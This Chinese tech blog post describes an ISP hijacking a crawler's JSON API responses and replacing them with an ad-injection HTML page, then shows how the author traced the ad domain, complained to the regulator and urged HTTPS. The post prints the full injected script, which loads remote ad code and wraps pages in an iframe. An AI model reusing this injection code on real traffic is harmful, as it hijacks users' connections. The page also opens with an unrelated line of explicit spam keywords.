偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

運(yùn)營商劫持狠起來,連Json都改

網(wǎng)絡(luò) 通信技術(shù)
運(yùn)營商劫持,是常見的流氓手段,它們老少通吃,連孩子都不放過,經(jīng)常囂張的在右下角或者網(wǎng)頁頭尾,彈出一些羞羞的廣告。這讓正在輔導(dǎo)孩子功課的媽媽,很難解釋。

 運(yùn)營商劫持,是常見的流氓手段,它們老少通吃,連孩子都不放過,經(jīng)常囂張的在右下角或者網(wǎng)頁頭尾,彈出一些羞羞的廣告。這讓正在輔導(dǎo)孩子功課的媽媽,很難解釋。

[[280817]]

一、前言

一道經(jīng)典面試題:當(dāng)你輸入一個(gè)網(wǎng)址后回車,實(shí)際會(huì)發(fā)生什么?

那得看輸?shù)纳毒W(wǎng)址,淘寶剁手、百度傷身、騰訊傷腎……

二、神秘的返回

那日風(fēng)和日麗、萬里無云,延遲退到不足50ms,是個(gè)散養(yǎng)爬蟲的好日子~

 

與往常相同,一通風(fēng)騷操作,數(shù)據(jù)便如百川入海般成功落庫。剛想泡杯咖啡,瞧瞧久違的天空,一道綿長的報(bào)錯(cuò)信息就宛如拉稀般潑向屏幕!

草(一種植物),莫不是被發(fā)現(xiàn)了?趕緊看看

 

草!(一種強(qiáng)大植物) 。這是個(gè)啥?原以為會(huì)返回異常狀態(tài)碼,或者錯(cuò)誤json,再不濟(jì)是偽數(shù)據(jù),沒想到連數(shù)據(jù)格式都改了,整了一HTML丟過來?

可這接口,明明都是json。

喝口白水想安撫下結(jié)果燙了嘴……思前想后。產(chǎn)品光喝酒不吃菜也不能下這需求,再說我這小蚊子不至于拿炮轟吧。

一定 有!——問!——題!

暴起撈日志,查看頻率。大約10道請(qǐng)求有一道異常,于是順手拿到全部HTML代碼。讓我們學(xué)習(xí)一下…

  1. <html> 
  2.   <head> 
  3.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
  4.     <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"
  5.   </head> 
  6.   <script> 
  7.     window["$$$wins_pm"] = { 
  8.         "a""https://atplay.cn/banner/indexsd.aspx"
  9.         "m""http://baidu.com/"
  10.         "_xus""YBsOw1mgMPSOdBFpMBFjYBQjMZSjMBsXM3gO"
  11.         "_xai""0" 
  12.     }; 
  13.  
  14.     var xp=null,key="d=123",lo=location.href,ho=false
  15.     function cu(u){ 
  16.         var p=u.indexOf("?"); 
  17.         if(p>0) 
  18.             u=u.slice(0,p+1)+key+"&"+u.slice(p+1); 
  19.         else 
  20.             u+="?"+key
  21.         return u; 
  22.  
  23.     } 
  24.  
  25.     function Base64() { 
  26.         _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
  27.         this.encode = function(input) { 
  28.             var output = ""
  29.             var chr1, chr2, chr3, enc1, enc2, enc3, enc4; 
  30.             var i = 0; 
  31.             input = _utf8_encode(input); 
  32.             while (i < input.length) { 
  33.                 chr1 = input.charCodeAt(i++); 
  34.                 chr2 = input.charCodeAt(i++); 
  35.                 chr3 = input.charCodeAt(i++); 
  36.                 enc1 = chr1 >> 2; 
  37.                 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); 
  38.                 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); 
  39.                 enc4 = chr3 & 63; 
  40.                 if (isNaN(chr2)) { 
  41.                     enc3 = enc4 = 64 
  42.                 } else if (isNaN(chr3)) { 
  43.                     enc4 = 64 
  44.                 } 
  45.                 output = output + _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + _keyStr.charAt(enc3) + _keyStr.charAt(enc4) 
  46.             } 
  47.             return output 
  48.         }; 
  49.         this.decode = function(input) { 
  50.             var output = ""
  51.             var chr1, chr2, chr3; 
  52.             var enc1, enc2, enc3, enc4; 
  53.             var i = 0; 
  54.             input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); 
  55.             while (i < input.length) { 
  56.                 enc1 = _keyStr.indexOf(input.charAt(i++)); 
  57.                 enc2 = _keyStr.indexOf(input.charAt(i++)); 
  58.                 enc3 = _keyStr.indexOf(input.charAt(i++)); 
  59.                 enc4 = _keyStr.indexOf(input.charAt(i++)); 
  60.                 chr1 = (enc1 << 2) | (enc2 >> 4); 
  61.                 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); 
  62.                 chr3 = ((enc3 & 3) << 6) | enc4; 
  63.                 output = output + String.fromCharCode(chr1); 
  64.                 if (enc3 != 64) { 
  65.                     output = output + String.fromCharCode(chr2) 
  66.                 } 
  67.                 if (enc4 != 64) { 
  68.                     output = output + String.fromCharCode(chr3) 
  69.                 } 
  70.             } 
  71.             output = _utf8_decode(output); 
  72.             return output 
  73.         }; 
  74.         _utf8_encode = function(string) { 
  75.             string = string.replace(/\r\n/g, "\n"); 
  76.             var utftext = ""
  77.             for (var n = 0; n < string.length; n++) { 
  78.                 var c = string.charCodeAt(n); 
  79.                 if (c < 128) { 
  80.                     utftext += String.fromCharCode(c) 
  81.                 } else if ((c > 127) && (c < 2048)) { 
  82.                     utftext += String.fromCharCode((c >> 6) | 192); 
  83.                     utftext += String.fromCharCode((c & 63) | 128) 
  84.                 } else { 
  85.                     utftext += String.fromCharCode((c >> 12) | 224); 
  86.                     utftext += String.fromCharCode(((c >> 6) & 63) | 128); 
  87.                     utftext += String.fromCharCode((c & 63) | 128) 
  88.                 } 
  89.             } 
  90.             return utftext 
  91.         }; 
  92.         _utf8_decode = function(utftext) { 
  93.             var string = ""
  94.             var i = 0; 
  95.             var c = c1 = c2 = 0; 
  96.             while (i < utftext.length) { 
  97.                 c = utftext.charCodeAt(i); 
  98.                 if (c < 128) { 
  99.                     string += String.fromCharCode(c); 
  100.                     i++ 
  101.                 } else if ((c > 191) && (c < 224)) { 
  102.                     c2 = utftext.charCodeAt(i + 1); 
  103.                     string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); 
  104.                     i += 2 
  105.                 } else { 
  106.                     c2 = utftext.charCodeAt(i + 1); 
  107.                     c3 = utftext.charCodeAt(i + 2); 
  108.                     string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); 
  109.                     i += 3 
  110.                 } 
  111.             } 
  112.             return string 
  113.         } 
  114.     } 
  115.     window["__BASE64"] = new Base64(); 
  116.  
  117.     function getURLwithParams() { 
  118.         var url = ""
  119.         if ($$$wins_pm.a.indexOf('?') > 0) { 
  120.             url = $$$wins_pm.a + "&_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai; 
  121.         } else { 
  122.             url = $$$wins_pm.a + "?_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai; 
  123.         } 
  124.         return url; 
  125.     } 
  126.     function goURLm() { 
  127.         var desturl = $$$wins_pm.m; 
  128.         if (desturl.slice(desturl.length - 1) == "/") desturl = desturl.slice(0, desturl.length - 1); 
  129.         return "<html></head><script>document.location.replace(\"" + desturl + "\");<\/script><\/html>" 
  130.     }; 
  131.     </script> 
  132.   <body style="margin:0;padding:0;"
  133.     <!--<div style="display: none;"><script src="https://s6.#/z_stat.php?id=722749&web_id=722749" language="JavaScript"></script></div>--> 
  134.     <script type="text/javascript" src="https://atplay.cn/banner/indexsd.js"></script> 
  135.     <div style="width:100%;height:100%;-webkit-overflow-scrolling:touch;overflow-y:scroll;"
  136.     <iframe id='ifrmain' src='JavaScript:parent.goURLm()' scrolling=auto  width='100%'  height='100%' frameborder='no' onload=''></iframe> 
  137.     </div> 
  138. </body> 
  139. </html> 

 

三、真相大白

淦!真相大白,這糟爛的代碼絕不是爬蟲的菜,連地溝油都算不上啊!看這尿性八成是寬帶運(yùn)營商的手筆,之前訪問個(gè)baidu都被套個(gè)iframe。但咱是萬萬沒想到啊,這次饑不擇食的連json接口都不放過,還改的這么大,粗,硬!

這就相當(dāng)于剛出機(jī)場(chǎng)想打車到景點(diǎn),結(jié)果上的是一黑車啊,拉著吃飯桑拿大寶劍,掏空錢包就拍地上!

既然確定是黑車,那索性就順勢(shì)調(diào)起這條傻魚。先看看效果——

 

呵,呵呵,呵呵呵。。。。不出所料。

忍著膈應(yīng)翻代碼,找到域名,丟whois

 

拿到公司名,丟百度、天眼查,企查查。。。是它,是它沒跑了

 

四、結(jié)果?

這種手段,沒有寬帶運(yùn)營商狼狽為奸,通常是無法完成的。目前家里一條X信,一條X動(dòng),經(jīng)反復(fù)測(cè)試,只有X動(dòng)線會(huì)出這個(gè)問題。。。那事情就很簡單了

工!信!部!投!訴!

坐標(biāo):https://dxss.miit.gov.cn/

 

 

 

 

風(fēng)波過去又是睛空萬里,但這——恐怕永遠(yuǎn)不會(huì)是最后一次。

五、我的網(wǎng)站該怎么辦?

你搞一下劫持,無可厚非,畢竟土壤就是這樣。但是你寫的這劫持bot也太傻了吧,連json格式都搞,讓人家開公司的如何是好。要知道,現(xiàn)在很多服務(wù),都沒有網(wǎng)頁端了,劫持程序該升下級(jí)了。

曾幾何時(shí),我們的網(wǎng)站,還都是http,這是劫持的最愛。應(yīng)對(duì)的方式,就是全面升級(jí)為https,加大劫持難度,保護(hù)用戶,也保護(hù)自己。

作者簡介:小姐姐味道 (xjjdog),一個(gè)不允許程序員走彎路的公眾號(hào)。聚焦基礎(chǔ)架構(gòu)和Linux。十年架構(gòu),日百億流量,與你探討高并發(fā)世界,給你不一樣的味道。我的個(gè)人微信xjjdog0,歡迎添加好友,進(jìn)一步交流。

責(zé)任編輯:武曉燕 來源: 小姐姐味道
相關(guān)推薦

2017-01-09 14:17:07

互聯(lián)網(wǎng)

2018-10-08 13:41:01

運(yùn)營商通信網(wǎng)絡(luò)攜號(hào)轉(zhuǎn)網(wǎng)

2018-04-10 04:58:27

5G運(yùn)營商網(wǎng)絡(luò)

2015-07-23 14:01:07

SDN運(yùn)營商

2013-02-25 10:53:10

運(yùn)營商Firefox OS

2016-10-17 19:41:49

2018-03-13 06:45:20

2014-02-19 11:16:52

虛擬運(yùn)營商

2009-03-24 10:24:00

GPON運(yùn)營商光纖接入

2014-10-14 15:53:46

運(yùn)營商SDN

2018-01-02 11:37:54

2020-12-11 18:49:48

DoHODoH運(yùn)營商

2011-08-30 09:29:45

云計(jì)算移動(dòng)醫(yī)療

2009-03-10 09:42:15

4G融合部署

2014-02-19 10:18:45

虛擬運(yùn)營商

2012-04-05 13:42:02

2021-12-01 08:45:22

元宇宙VR運(yùn)營商

2017-11-21 13:55:16

運(yùn)營商NFV虛擬化網(wǎng)絡(luò)

2021-06-24 09:55:53

運(yùn)營商中國電信中國移動(dòng)

2018-10-15 11:17:24

運(yùn)營商低價(jià)中標(biāo)寬帶網(wǎng)絡(luò)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)